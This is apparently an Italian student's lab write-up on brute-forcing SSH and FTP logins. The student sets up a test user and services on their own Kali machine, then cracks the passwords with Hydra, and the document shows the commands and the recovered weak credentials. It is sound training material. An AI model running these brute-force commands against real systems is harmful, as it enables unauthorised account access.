

ESERCIZIO 3 SETTIMANA 6

Cracking SSH (parte guidata)

Creazione dell'user

```
(root@kali)-[/home/kali/Desktop]
# adduser test_user
info: Adding user `test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user' (1001) ...
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...
info: Creating home directory `/home/test_user' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
  Full Name []:
  Room Number []:
  Work Phone []:
  Home Phone []:
  Other []:
Is the information correct? [Y/n] y
info: Adding new user `test_user' to supplemental / extra groups `users' ...
info: Adding user `test_user' to group `users' ...
```

Avvio servizio ssh

```
(root@kali)-[/home/kali/Desktop]
# sudo service ssh start
```

Controllo accesso

```
(kali@kali)-[~/Desktop]
$ ssh test_user@192.168.178.124
The authenticity of host '192.168.178.124 (192.168.178.124)' can't be established.
ED25519 key fingerprint is SHA256:v4gNeeYiXcJXWSZk+46itZpnI42n2hg5R3ZCLFmANTw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.178.124' (ED25519) to the list of known hosts.
test_user@192.168.178.124's password:
Linux kali 6.3.0-kali1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.3.7-1kali1 (2023-06-29) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
(test_user@kali)-[~]
$
```

Password trovata

```
(kali㉿kali)-[~/Desktop]
$ hydra -L username -P password 192.168.178.124 -t 4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in m
ilitary or secret service organizations, or for illegal purposes (this is non-b
inding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-17 10:01
:04
[DATA] max 4 tasks per 1 server, overall 4 tasks, 63 login tries (l:7/p:9), ~16
tries per task
[DATA] attacking ssh://192.168.178.124:22/
[22][ssh] host: 192.168.178.124 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-01-17 10:01
:51
```

Cracking FTP

Dopo aver installato il servizio ftp ho creato un nuovo utente con:

- nome utente: admin
- password: password

Successivamente ho avviato il servizio ftp

```
(root㉿kali)-[/home/kali/Desktop]
# service vsftpd start

(root㉿kali)-[/home/kali/Desktop]
#
```

Infine, tramite hydra, sono riuscito a trovare le credenziali dell'utente creato in precedenza

```
(kali㉿kali)-[~/Desktop]
$ hydra -L username -P password 192.168.178.124 -t 4 ftp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in m
ilitary or secret service organizations, or for illegal purposes (this is non-b
inding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-17 10:18
:10
[DATA] max 4 tasks per 1 server, overall 4 tasks, 63 login tries (l:7/p:9), ~16
tries per task
[DATA] attacking ftp://192.168.178.124:21/
[21][ftp] host: 192.168.178.124 login: admin password: password
[21][ftp] host: 192.168.178.124 login: test_user password: testpass
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-01-17 10:18
:59
```